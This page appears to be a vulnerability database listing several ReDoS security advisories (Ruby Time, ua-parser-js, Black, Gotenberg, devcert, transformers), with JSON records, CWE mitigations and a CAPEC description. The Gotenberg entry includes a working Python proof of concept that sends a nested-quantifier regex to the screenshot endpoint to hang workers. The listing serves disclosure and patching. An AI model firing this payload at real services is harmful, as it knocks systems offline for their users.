    "nvd_published_at": "2023-03-31T04:15:00Z",
    "severity": "HIGH"
  },
  "details": "A ReDoS issue was discovered in the Time component through 0.2.1 in Ruby through 3.2.1. The Time parser mishandles invalid URLs that have specific characters. It causes an increase in execution time for parsing strings to Time objects. The fixed versions are 0.1.1 and 0.2.2.",
  "id": "GHSA-fg7x-g82r-94qc",
  "modified": "2025-11-04T19:37:42Z",
  "published": "2023-03-31T06:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28756"
    },
    {
      "type": "WEB",
      "url": "https://www.ruby-lang.org/en/news/2023/03/30/redos-in-time-cve-2023-28756"
    },
    {
      "type": "WEB",
      "url": "https://www.ruby-lang.org/en/news/2022/12/25/ruby-3-2-0-released"
    },
    {
      "type": "WEB",
      "url": "https://www.ruby-lang.org/en/downloads/releases"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20230526-0004"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202401-27"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WMIOPLBAAM3FEQNAXA2L7BDKOGSVUT5Z"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/G76GZG3RAGYF4P75YY7J7TGYAU7Z5E2T"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FFZANOQA4RYX7XCB42OO3P24DQKWHEKA"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WMIOPLBAAM3FEQNAXA2L7BDKOGSVUT5Z"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/G76GZG3RAGYF4P75YY7J7TGYAU7Z5E2T"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FFZANOQA4RYX7XCB42OO3P24DQKWHEKA"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00000.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/04/msg00033.html"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/time/CVE-2023-28756.yml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/time/releases"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ruby/time"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ruby Time component ReDoS issue"
}

GHSA-FHG7-M89Q-25R3

Vulnerability from github – Published: 2023-01-24 15:36 – Updated: 2025-10-17 16:52
VLAI
Summary
ReDoS Vulnerability in ua-parser-js version
Details

Description:

A regular expression denial of service (ReDoS) vulnerability has been discovered in ua-parser-js.

Impact:

This vulnerability bypass the library's MAX_LENGTH input limit prevention. By crafting a very-very-long user-agent string with specific pattern, an attacker can turn the script to get stuck processing for a very long time which results in a denial of service (DoS) condition.

Affected Versions:

From version 0.7.30 to before versions 0.7.33 / 1.0.33.

Patches:

A patch has been released to remove the vulnerable regular expression, update to version 0.7.33 / 1.0.33 or later.

References:

Regular expression Denial of Service - ReDoS

Credits:

Thanks to @Snyk who first reported the issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ua-parser-js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.7.30"
            },
            {
              "fixed": "0.7.33"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "ua-parser-js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.0"
            },
            {
              "fixed": "1.0.33"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-25927"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-01-24T15:36:32Z",
    "nvd_published_at": "2023-01-26T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Description:\nA regular expression denial of service (ReDoS) vulnerability has been discovered in `ua-parser-js`.\n\n### Impact:\nThis vulnerability bypass the library\u0027s `MAX_LENGTH` input limit prevention. By crafting a very-very-long user-agent string with specific pattern, an attacker can turn the script to get stuck processing for a very long time which results in a denial of service (DoS) condition.\n\n### Affected Versions:\nFrom version `0.7.30` to before versions `0.7.33` / `1.0.33`.\n\n### Patches:\nA patch has been released to remove the vulnerable regular expression, update to version `0.7.33` / `1.0.33` or later.\n\n### References:\n[Regular expression Denial of Service - ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n\n### Credits:\nThanks to @Snyk who first reported the issue.",
  "id": "GHSA-fhg7-m89q-25r3",
  "modified": "2025-10-17T16:52:22Z",
  "published": "2023-01-24T15:36:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/faisalman/ua-parser-js/security/advisories/GHSA-fhg7-m89q-25r3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25927"
    },
    {
      "type": "WEB",
      "url": "https://github.com/faisalman/ua-parser-js/commit/a6140a17dd0300a35cfc9cff999545f267889411"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/faisalman/ua-parser-js"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-UAPARSERJS-3244450"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ReDoS Vulnerability in ua-parser-js version"
}

GHSA-FJ7X-Q9J7-G6Q6

Vulnerability from github – Published: 2024-03-19 06:30 – Updated: 2024-03-20 15:24
VLAI
Summary
Black vulnerable to Regular Expression Denial of Service (ReDoS)
Details

Versions of the package black before 24.3.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via the lines_with_leading_tabs_expanded function in the strings.py file. An attacker could exploit this vulnerability by crafting a malicious input that causes a denial of service.

Exploiting this vulnerability is possible when running Black on untrusted input, or if you habitually put thousands of leading tab characters in your docstrings.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "black"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "24.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-21503"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-75"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-20T15:24:01Z",
    "nvd_published_at": "2024-03-19T05:15:09Z",
    "severity": "MODERATE"
  },
  "details": "Versions of the package black before 24.3.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via the lines_with_leading_tabs_expanded function in the strings.py file. An attacker could exploit this vulnerability by crafting a malicious input that causes a denial of service.\n\nExploiting this vulnerability is possible when running Black on untrusted input, or if you habitually put thousands of leading tab characters in your docstrings.",
  "id": "GHSA-fj7x-q9j7-g6q6",
  "modified": "2024-03-20T15:24:01Z",
  "published": "2024-03-19T06:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21503"
    },
    {
      "type": "WEB",
      "url": "https://github.com/psf/black/commit/f00093672628d212b8965a8993cee8bedf5fe9b8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/psf/black"
    },
    {
      "type": "WEB",
      "url": "https://github.com/psf/black/releases/tag/24.3.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/black/PYSEC-2024-48.yaml"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-PYTHON-BLACK-6256273"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Black vulnerable to Regular Expression Denial of Service (ReDoS)"
}

GHSA-FMWG-QCQH-M992

Vulnerability from github – Published: 2026-04-07 18:16 – Updated: 2026-04-07 18:16
VLAI
Summary
Gotenberg Vulnerable to ReDoS via extraHttpHeaders scope feature
Details

Summary

Gotenberg uses dlclark/regexp2 to compile user-supplied scope patterns without setting a proper timeout. Users with access to features using this logic can hang workers indefinitely.

Details

Gotenberg uses dlclark/regexp2 to compile user-supplied scope patterns (gotenberg/pkg/modules/chromium/routes.go:200) with no MatchTimeout set, therefore using the default of math.MaxInt64 = "forever".

For example, any user with access to the endpoint /forms/chromium/screenshot/url can add a crafted scope pattern to the extraHttpHeaders form field using a nested quantifiers that causes infinite backtracking, hanging the Gotenberg worker indefinitely.

See the dlclark/regexp2 README.md for further considerations.

Tested on the latest container version gotenberg/gotenberg:8.29.1

PoC

The following Python script uses the /forms/chromium/screenshot/url endpoint, testing for differences in responses times between simple and malicious regexes.

#!/usr/bin/env -S uv run --script
# /// script
# requires-python = ">=3.12"
# dependencies = [
#    "requests",
# ]
# ///
import json
import time
import requests

HOST = "localhost:3000"
# HOST = "gotenberg.local:3000"

def send_request(host: str, headers_dict: dict, label: str, timeout: int = 30):
    """Send a screenshot request to Gotenberg and measure response time."""
    url = f"http://{host}/forms/chromium/screenshot/url"
    print(f"\n[*] {label}")
    print(f"    extraHttpHeaders: {json.dumps(headers_dict)}")

    start = time.time()
    try:
        r = requests.post(
            url,
            data={
                "url": "http://api.service:3000/snapshot/",
                "extraHttpHeaders": json.dumps(headers_dict),
            },
            files={"a": "b"},
            timeout=timeout,
        )
        elapsed = time.time() - start
        print(f"    Status: {r.status_code}, Size: {len(r.content)}, Time: {elapsed:.2f}s")
    except requests.exceptions.Timeout:
        elapsed = time.time() - start
        print(f"    TIMEOUT after {elapsed:.2f}s — Gotenberg worker is hung (ReDoS confirmed)")
    except requests.exceptions.ConnectionError as e:
        elapsed = time.time() - start
        print(f"    CONNECTION ERROR after {elapsed:.2f}s: {e}")


def main():
    # --- Test 1: Baseline ---
    send_request(HOST, {"X-Test": "baseline"}, "Baseline: no scope")

    # --- Test 2: Simple scope ---
    send_request(HOST, {"X-Test": "value; scope=.*"}, "Simple scope: '.*'")

    # --- Test 3: ReDoS scope ---
    # Classic evil pattern: nested quantifiers on overlapping character class.
    evil_pattern = r"([a-zA-Z0-9.:/_]+)+\!"
    send_request(
        HOST,
        {"X-Test": f"value; scope={evil_pattern}"},
        f"ReDoS scope: '{evil_pattern}'",
        timeout=15,
    )


if __name__ == "__main__":
    main()

Impact

This is a ReDoS vulnerability which only impacts the availability of the service and/or server on which gotenberg is running. All instances where attackers can reach the /forms/chromium/screenshot/url endpoint specifing the extraHttpHeaders field are affected.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.29.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gotenberg/gotenberg/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.30.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35458"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-07T18:16:19Z",
    "nvd_published_at": "2026-04-07T15:17:43Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nGotenberg uses `dlclark/regexp2` to compile user-supplied scope patterns without setting a proper timeout. Users with access to features using this logic can hang workers indefinitely. \n\n### Details\nGotenberg uses `dlclark/regexp2` to compile user-supplied scope patterns (gotenberg/pkg/modules/chromium/routes.go:200) with no MatchTimeout set, therefore using the default of math.MaxInt64 = \"forever\".\n\nFor example, any user with access to the endpoint `/forms/chromium/screenshot/url` can add a crafted scope pattern to the `extraHttpHeaders` form field using a nested quantifiers that causes infinite backtracking, hanging the Gotenberg worker indefinitely.\n\nSee the [dlclark/regexp2 README.md](https://github.com/dlclark/regexp2?tab=readme-ov-file#catastrophic-backtracking-and-timeouts) for further considerations.\n\nTested on the latest container version gotenberg/gotenberg:8.29.1\n\n### PoC\n\nThe following Python script uses the `/forms/chromium/screenshot/url` endpoint, testing for differences in responses times between simple and malicious regexes.\n\n```python\n#!/usr/bin/env -S uv run --script\n# /// script\n# requires-python = \"\u003e=3.12\"\n# dependencies = [\n#    \"requests\",\n# ]\n# ///\nimport json\nimport time\nimport requests\n\nHOST = \"localhost:3000\"\n# HOST = \"gotenberg.local:3000\"\n\ndef send_request(host: str, headers_dict: dict, label: str, timeout: int = 30):\n    \"\"\"Send a screenshot request to Gotenberg and measure response time.\"\"\"\n    url = f\"http://{host}/forms/chromium/screenshot/url\"\n    print(f\"\\n[*] {label}\")\n    print(f\"    extraHttpHeaders: {json.dumps(headers_dict)}\")\n\n    start = time.time()\n    try:\n        r = requests.post(\n            url,\n            data={\n                \"url\": \"http://api.service:3000/snapshot/\",\n                \"extraHttpHeaders\": json.dumps(headers_dict),\n            },\n            files={\"a\": \"b\"},\n            timeout=timeout,\n        )\n        elapsed = time.time() - start\n        print(f\"    Status: {r.status_code}, Size: {len(r.content)}, Time: {elapsed:.2f}s\")\n    except requests.exceptions.Timeout:\n        elapsed = time.time() - start\n        print(f\"    TIMEOUT after {elapsed:.2f}s \u2014 Gotenberg worker is hung (ReDoS confirmed)\")\n    except requests.exceptions.ConnectionError as e:\n        elapsed = time.time() - start\n        print(f\"    CONNECTION ERROR after {elapsed:.2f}s: {e}\")\n\n\ndef main():\n    # --- Test 1: Baseline ---\n    send_request(HOST, {\"X-Test\": \"baseline\"}, \"Baseline: no scope\")\n\n    # --- Test 2: Simple scope ---\n    send_request(HOST, {\"X-Test\": \"value; scope=.*\"}, \"Simple scope: \u0027.*\u0027\")\n\n    # --- Test 3: ReDoS scope ---\n    # Classic evil pattern: nested quantifiers on overlapping character class.\n    evil_pattern = r\"([a-zA-Z0-9.:/_]+)+\\!\"\n    send_request(\n        HOST,\n        {\"X-Test\": f\"value; scope={evil_pattern}\"},\n        f\"ReDoS scope: \u0027{evil_pattern}\u0027\",\n        timeout=15,\n    )\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\n\nThis is a ReDoS vulnerability which only impacts the availability of the service and/or server on which gotenberg is running. All instances where attackers can reach the `/forms/chromium/screenshot/url` endpoint specifing the `extraHttpHeaders` field are affected.",
  "id": "GHSA-fmwg-qcqh-m992",
  "modified": "2026-04-07T18:16:19Z",
  "published": "2026-04-07T18:16:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-fmwg-qcqh-m992"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35458"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/commit/cfb48d9af48cb236244eabe5c67fe1d30fb3fe25"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gotenberg/gotenberg"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gotenberg Vulnerable to ReDoS via extraHttpHeaders scope feature"
}

GHSA-FP36-299X-PWMW

Vulnerability from github – Published: 2022-06-03 00:01 – Updated: 2022-06-14 20:02
VLAI
Summary
Regular expression denial of service in devcert
Details

An exponential ReDoS (Regular Expression Denial of Service) can be triggered in the devcert npm package, when an attacker is able to supply arbitrary input to the certificateFor method

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "devcert"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-1929"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-06-03T22:27:34Z",
    "nvd_published_at": "2022-06-02T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "An exponential ReDoS (Regular Expression Denial of Service) can be triggered in the devcert npm package, when an attacker is able to supply arbitrary input to the certificateFor method",
  "id": "GHSA-fp36-299x-pwmw",
  "modified": "2022-06-14T20:02:53Z",
  "published": "2022-06-03T00:01:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1929"
    },
    {
      "type": "WEB",
      "url": "https://github.com/davewasmer/devcert/commit/b0763215f6683271d296fda98f7ef7bcd4a55977"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/davewasmer/devcert"
    },
    {
      "type": "WEB",
      "url": "https://research.jfrog.com/vulnerabilities/devcert-redos-xray-211352"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Regular expression denial of service in devcert"
}

GHSA-FPWR-67PX-3QHX

Vulnerability from github – Published: 2025-04-29 12:30 – Updated: 2025-08-04 15:27
VLAI
Summary
Transformers Regular Expression Denial of Service (ReDoS) vulnerability
Details

A Regular Expression Denial of Service (ReDoS) vulnerability was identified in the huggingface/transformers library, specifically in the file tokenization_gpt_neox_japanese.py of the GPT-NeoX-Japanese model. The vulnerability occurs in the SubWordJapaneseTokenizer class, where regular expressions process specially crafted inputs. The issue stems from a regex exhibiting exponential complexity under certain conditions, leading to excessive backtracking. This can result in high CPU usage and potential application downtime, effectively creating a Denial of Service (DoS) scenario. The affected version is v4.48.1 (latest).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "transformers"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.50.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-1194"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-29T15:17:03Z",
    "nvd_published_at": "2025-04-29T12:15:31Z",
    "severity": "MODERATE"
  },
  "details": "A Regular Expression Denial of Service (ReDoS) vulnerability was identified in the huggingface/transformers library, specifically in the file `tokenization_gpt_neox_japanese.py` of the GPT-NeoX-Japanese model. The vulnerability occurs in the SubWordJapaneseTokenizer class, where regular expressions process specially crafted inputs. The issue stems from a regex exhibiting exponential complexity under certain conditions, leading to excessive backtracking. This can result in high CPU usage and potential application downtime, effectively creating a Denial of Service (DoS) scenario. The affected version is v4.48.1 (latest).",
  "id": "GHSA-fpwr-67px-3qhx",
  "modified": "2025-08-04T15:27:20Z",
  "published": "2025-04-29T12:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1194"
    },
    {
      "type": "WEB",
      "url": "https://github.com/huggingface/transformers/commit/92c5ca9dd70de3ade2af2eb835c96215cc50e815"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/huggingface/transformers"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/86f58dcd-683f-4adc-a735-849f51e9abb2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Transformers Regular Expression Denial of Service (ReDoS) vulnerability"
}

Mitigation
Architecture and Design

Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.

Mitigation
System Configuration

Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.

Mitigation
Implementation

Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.

Mitigation
Implementation

Limit the length of the input that the regular expression will process.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.